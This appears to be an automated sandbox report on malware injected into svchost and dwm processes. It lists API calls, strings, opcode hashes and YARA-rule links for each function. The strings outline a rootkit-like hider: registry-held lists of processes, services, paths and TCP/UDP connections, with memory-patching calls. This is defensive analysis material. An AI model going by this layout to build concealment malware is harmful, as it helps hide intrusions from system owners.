Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: afeff5cfcaf4403b8b152d041e9c12e6ce2064c04c3d4c674498ddf2345b7502
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 44D1D072718B8089EB11CFA9D4443ECBBF1FB54798F194216CE5A97BAAEA34C507C350

Function 0000014E41FE2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 0000014E41FE2A9C
GetLastError.KERNEL32 ref: 0000014E41FE2B27

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: cea13cf84bf215eda1d4e32a4ca8aa5317b936fd82c1a643056d64915862160e
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 2091B372708B5485FF60DFA994883EDABE0BB44B98F1D4109DE0A977A5EB74C483C720

Function 0000014E41FD7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0000014E41FD798C
GetCurrentThreadId.KERNEL32 ref: 0000014E41FD799A
GetCurrentProcessId.KERNEL32 ref: 0000014E41FD79A6
QueryPerformanceCounter.KERNEL32 ref: 0000014E41FD79B6

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: dfc3c1974cbad934db9993865ec08b5f9e443c71fc6a37ba405ddabd85e8d405
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 65113032714F4589EF00CF60E8583E873B4FB59B68F480E25DA6D867A4DF78C1998390

Function 0000014E41FD253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000014E41FD2620
StrCpyW.SHLWAPI ref: 0000014E41FD2639

Strings

\\.\pipe\, xrefs: 0000014E41FD262B

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: a326b1bb8bb403e4a0d4c0446bf3a53fe52e6195dedbf9b24ed740f8b36a4abd
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: B171C236304B8185EF359E65D8483FAA7D4FB85784F4A0126DE0B83BA9DF35C6468750

Function 0000014E41FA9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 0000014E41FA9EB7

Strings

RCC, xrefs: 0000014E41FA9E85
MOC, xrefs: 0000014E41FA9E7C

Memory Dump Source

Source File: 0000003F.00000002.3436459719.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fa0000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 9082f48436bddb50fbe074ea12ed5132107a6f235155bfae31550afec4f2ce97
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: ED613736A00B848AEB20DFA5D4843DDB7A0FB44BC8F184215EF4957FA9DB78D596C720

Function 0000014E41FD2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000014E41FD2416
StrCpyW.SHLWAPI ref: 0000014E41FD242D

Strings

\\.\pipe\, xrefs: 0000014E41FD2421

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: cc360d09ba06bcdff2f15c29ced7a4e175476a6bb9ba5d9fe31b0890df6299d6
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 7851E73230478181FF259A69A55C3FAE7E1FBC6750F8D0125DE4B83B6ECA39C50687A0

Function 0000014E41FE26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000014E41FE2807
GetLastError.KERNEL32 ref: 0000014E41FE2829

Strings

U, xrefs: 0000014E41FE27B3

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: c83ac0f76dcb79476ddf21a95a19c8a865843251dc56904ff8b0029dd694ac40
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: E941A232318B8082DF20CF65E8483E9A7A0FB98794F494022EE4EC77A4EB7CC542C750

Function 0000014E41FD94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000014E41FD94F0
RaiseException.KERNEL32 ref: 0000014E41FD9531

Strings

csm, xrefs: 0000014E41FD951E

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 558f2c2fa83ee08c27e1fc5abc980bded73aea70065ff57803d74eae209385c4
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 0F112832218B8482EF618B15F448399B7E5FB88B94F5D8220EE8D47B69DF3DC552CB00

Function 0000014E41FA7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000014E41FA737C

Strings

ierarchy Descriptor', xrefs: 0000014E41FA7381
riptor at (, xrefs: 0000014E41FA7364

Memory Dump Source

Source File: 0000003F.00000002.3436459719.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fa0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: eb669838bcd11bd9391b268dc568cb615196d67751b03d9664e942e19c7f9c9a
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: F0E08671740B4490DF018F21E8442D873E0EF59B64B8C9122D95C46331FA3CD1FAC310

Function 0000014E41FA73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000014E41FA73D8

Strings

Locator', xrefs: 0000014E41FA73DD
riptor at (, xrefs: 0000014E41FA73C0

Memory Dump Source

Source File: 0000003F.00000002.3436459719.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fa0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: dcf211704ab779cfcff42d5391f5e7064cd144a077eba1243619bea389c199af
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 92E08671740B4480EF028F21D4401D8B3A0FB59B54B8C9122C94C46331EA3CD1E6C310

Function 0000014E41FD1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000014E41FD1C2D
HeapAlloc.KERNEL32 ref: 0000014E41FD1C3B
GetProcessHeap.KERNEL32 ref: 0000014E41FD1C77
HeapFree.KERNEL32 ref: 0000014E41FD1C85

Part of subcall function 0000014E41FD152C: StrCmpIW.SHLWAPI ref: 0000014E41FD155D

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: f9751e398ec6f9e8c393d2d9c50e353c79f978f663c39b1dde9fddacf25f1213
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: E2115535705B8881EF059B66A8082AAB3E1FB89FD0F1D40289E4E83776DF78C842C310

Analysis Process: dwm.exePID: 996, Parent PID: 2748COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	95.2%
Signature Coverage:	0%
Total number of Nodes:	126
Total number of Limit Nodes:	16

Executed Functions

Function 000001D15B051628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001D15B051633
HeapAlloc.KERNEL32 ref: 000001D15B051642

Part of subcall function 000001D15B051268: GetProcessHeap.KERNEL32 ref: 000001D15B05126E
Part of subcall function 000001D15B051268: HeapAlloc.KERNEL32 ref: 000001D15B05127D
Part of subcall function 000001D15B051268: GetProcessHeap.KERNEL32 ref: 000001D15B051297
Part of subcall function 000001D15B051268: HeapAlloc.KERNEL32 ref: 000001D15B0512A8

RegOpenKeyExW.ADVAPI32 ref: 000001D15B0516B2
RegOpenKeyExW.ADVAPI32 ref: 000001D15B0516DF
RegCloseKey.ADVAPI32 ref: 000001D15B0516F9
RegOpenKeyExW.ADVAPI32 ref: 000001D15B051719
RegCloseKey.ADVAPI32 ref: 000001D15B051734
RegOpenKeyExW.ADVAPI32 ref: 000001D15B051754
RegCloseKey.ADVAPI32 ref: 000001D15B05176F
RegOpenKeyExW.ADVAPI32 ref: 000001D15B05178F
RegCloseKey.ADVAPI32 ref: 000001D15B0517AA
RegOpenKeyExW.ADVAPI32 ref: 000001D15B0517CA
RegCloseKey.ADVAPI32 ref: 000001D15B0517E5
RegOpenKeyExW.ADVAPI32 ref: 000001D15B051805
RegCloseKey.ADVAPI32 ref: 000001D15B051820
RegOpenKeyExW.ADVAPI32 ref: 000001D15B051840
RegCloseKey.ADVAPI32 ref: 000001D15B05185B
RegOpenKeyExW.ADVAPI32 ref: 000001D15B05187B
RegCloseKey.ADVAPI32 ref: 000001D15B051896
RegCloseKey.ADVAPI32 ref: 000001D15B0518A0

Part of subcall function 000001D15B0512BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001D15B051319
Part of subcall function 000001D15B0512BC: GetProcessHeap.KERNEL32 ref: 000001D15B051327
Part of subcall function 000001D15B0512BC: HeapAlloc.KERNEL32 ref: 000001D15B051338
Part of subcall function 000001D15B0512BC: RegEnumValueW.ADVAPI32 ref: 000001D15B051397
Part of subcall function 000001D15B0512BC: GetProcessHeap.KERNEL32 ref: 000001D15B0513DF
Part of subcall function 000001D15B0512BC: HeapAlloc.KERNEL32 ref: 000001D15B0513ED
Part of subcall function 000001D15B0512BC: GetProcessHeap.KERNEL32 ref: 000001D15B05140A
Part of subcall function 000001D15B0512BC: HeapFree.KERNEL32 ref: 000001D15B051418
Part of subcall function 000001D15B0512BC: lstrlenW.KERNEL32 ref: 000001D15B051421
Part of subcall function 000001D15B0512BC: GetProcessHeap.KERNEL32 ref: 000001D15B05142F
Part of subcall function 000001D15B0512BC: HeapAlloc.KERNEL32 ref: 000001D15B05143D

Strings

SOFTWARE\dialerconfig, xrefs: 000001D15B051692
service_names, xrefs: 000001D15B0517C3
startup, xrefs: 000001D15B0516D5
tcp_local, xrefs: 000001D15B0517FE
pid, xrefs: 000001D15B051712
paths, xrefs: 000001D15B051788
tcp_remote, xrefs: 000001D15B051839
udp, xrefs: 000001D15B051874
process_names, xrefs: 000001D15B05174D

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 13550ac79eb4724effb3ddf8e2546f8d2f2fb5f4888d08e0bbb9c0b89ef02f30
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 6071FA36614A10B6EB109FA5F9517D923B4F7C6B88F501222DE4E47B69EF3CC455CB40

Function 000001D15B053790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000001D15B05379E
GetCurrentProcess.KERNEL32 ref: 000001D15B0537CC
VirtualProtectEx.KERNEL32 ref: 000001D15B0537EE
GetCurrentProcess.KERNEL32 ref: 000001D15B053809
VirtualProtectEx.KERNEL32 ref: 000001D15B05382A

Strings

wr, xrefs: 000001D15B0537FF

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 880b6c60eb87d0ef0cbd2e3ed8ecbe0dca2f535efe47e58d6dd0f34e2b7ec721
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 46112A36704741A2FF149F91F5043EA62B4F78AB85F54462ADE8A07B94EF2DC545CB04

Function 000001D15B055B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001D15B055B6B
GetThreadContext.KERNEL32 ref: 000001D15B055CD5

Part of subcall function 000001D15B055960: GetCurrentThreadId.KERNEL32 ref: 000001D15B055964

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction ID: 7f67c70ac212b12994ff942ee07b8926dee8e59bb44ae92ba10b444ee9ac5dd4
Opcode Fuzzy Hash: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction Fuzzy Hash: 4ED17776205B88A6DA709B46F59439AB7B0F7C9B84F100216EACE47BA9DF3CC551CF40

Function 000001D15B0550D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001D15B055156

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction ID: 814b77f5beb435c6111204c18b1e3a4860eb85996b284ed82dffff6edcea16b7
Opcode Fuzzy Hash: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction Fuzzy Hash: 2B02A736219B84A6EB60CB95F59439AB7B1F3C6794F104116EA8E87FA8DB7CD444CF00

Function 000001D15B0539E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000001D15B053A66
VirtualAlloc.KERNEL32 ref: 000001D15B053AA0

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: ced44ef17f0db0bb718ac059701f314b0347c0d2a53f6dbc804350dc0ff2bc41
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: 6E31FD32219A84B1EA309A95F15539AA6B4F3CA784F100666A5CE46FE8DF7CC5808F44

Function 000001D15B05328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001D15B0532AE
PathFindFileNameW.SHLWAPI ref: 000001D15B0532BD

Part of subcall function 000001D15B053844: StrCmpNIW.SHLWAPI ref: 000001D15B05385C

Part of subcall function 000001D15B053790: GetModuleHandleW.KERNEL32 ref: 000001D15B05379E
Part of subcall function 000001D15B053790: GetCurrentProcess.KERNEL32 ref: 000001D15B0537CC
Part of subcall function 000001D15B053790: VirtualProtectEx.KERNEL32 ref: 000001D15B0537EE
Part of subcall function 000001D15B053790: GetCurrentProcess.KERNEL32 ref: 000001D15B053809
Part of subcall function 000001D15B053790: VirtualProtectEx.KERNEL32 ref: 000001D15B05382A

CreateThread.KERNEL32 ref: 000001D15B05330B

Part of subcall function 000001D15B051D14: GetCurrentThread.KERNEL32 ref: 000001D15B051D1F

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 50dc774867e8dfa9d8c37b66f0b4b16705396407e2ef4eaaa7b484beffb59f76
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 66118471A14641B2FB609BE1FB057EA62B4BBD7344F604327A947429E1EF7CC448CE50

Function 000001D15B054DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000001D15B054DF4
VirtualProtect.KERNEL32 ref: 000001D15B054E37
FlushInstructionCache.KERNEL32 ref: 000001D15B054E4C

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction ID: 0faaa23e0f904dfa1ddc0926a435f5f889b881ff10e9e97893eb0f9948e1e464
Opcode Fuzzy Hash: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction Fuzzy Hash: 49F0F436218A04A0D6609B81F58139EABB0F3C9BD4F140212AA8E03BA9CA3CC6808F40

Function 000001D15B01273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001D15B0127DB
LoadLibraryA.KERNELBASE ref: 000001D15B01285E

Memory Dump Source

Source File: 00000040.00000002.3457136320.000001D15B010000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b010000_dwm.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 55679c72331ed3e7bab0be7cb74d28a35aaaa4e86c910775603edd0d527ff162
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 80612932B01694A7DB58CF99EA007AD73B2F795B94F548226DE59077C4DE3CD852CB00

Function 000001D15B051ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001D15B051628: GetProcessHeap.KERNEL32 ref: 000001D15B051633
Part of subcall function 000001D15B051628: HeapAlloc.KERNEL32 ref: 000001D15B051642
Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B0516B2
Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B0516DF
Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B0516F9
Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B051719
Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B051734
Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B051754
Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B05176F
Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B05178F
Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B0517AA
Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B0517CA

Sleep.KERNEL32 ref: 000001D15B051AD7
SleepEx.KERNELBASE ref: 000001D15B051ADD

Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B0517E5
Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B051805
Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B051820
Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B051840
Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B05185B
Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B05187B
Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B051896
Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B0518A0

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 2a2945939bc26b6d2dc204ab69198a0ad90a4bbefdeb596e6ab9371a97732843
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 1C31DD75200645B2FF509BA6FB413E963B4BBC6FC0F2456239E4A87AD5FE2CC851CA11

Non-executed Functions

Function 000001D15B052B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001D15B052BD0
lstrlenW.KERNEL32 ref: 000001D15B052E0A

Part of subcall function 000001D15B05199C: OpenProcess.KERNEL32 ref: 000001D15B0519C2
Part of subcall function 000001D15B05199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001D15B0519E0
Part of subcall function 000001D15B05199C: PathFindFileNameW.SHLWAPI ref: 000001D15B0519EF
Part of subcall function 000001D15B05199C: lstrlenW.KERNEL32 ref: 000001D15B0519FB
Part of subcall function 000001D15B05199C: StrCpyW.SHLWAPI ref: 000001D15B051A0E
Part of subcall function 000001D15B05199C: CloseHandle.KERNEL32 ref: 000001D15B051A1C

GetProcAddress.KERNEL32 ref: 000001D15B052BE5

Part of subcall function 000001D15B05152C: StrCmpIW.SHLWAPI ref: 000001D15B05155D

Part of subcall function 000001D15B053844: StrCmpNIW.SHLWAPI ref: 000001D15B05385C

StrCmpNIW.SHLWAPI ref: 000001D15B052C28
lstrlenW.KERNEL32 ref: 000001D15B052D50

Strings

ntdll.dll, xrefs: 000001D15B052BC9
\Device\Nsi, xrefs: 000001D15B052C1B
NtQueryObject, xrefs: 000001D15B052BDB

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: d6eb5d11205c8ff579a557355645726895c692e92750abd907171e70f67a2328
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 9DB18072210A50B2EB598FA5E6407E963B5FB86B84F145217DE0A53BD5EF38CC80CB40

Function 000001D15B057D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001D15B057DAC
RtlCaptureContext.NTDLL ref: 000001D15B057DD9
RtlLookupFunctionEntry.NTDLL ref: 000001D15B057DF3
RtlVirtualUnwind.NTDLL ref: 000001D15B057E34
IsDebuggerPresent.KERNEL32 ref: 000001D15B057E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001D15B057EA9
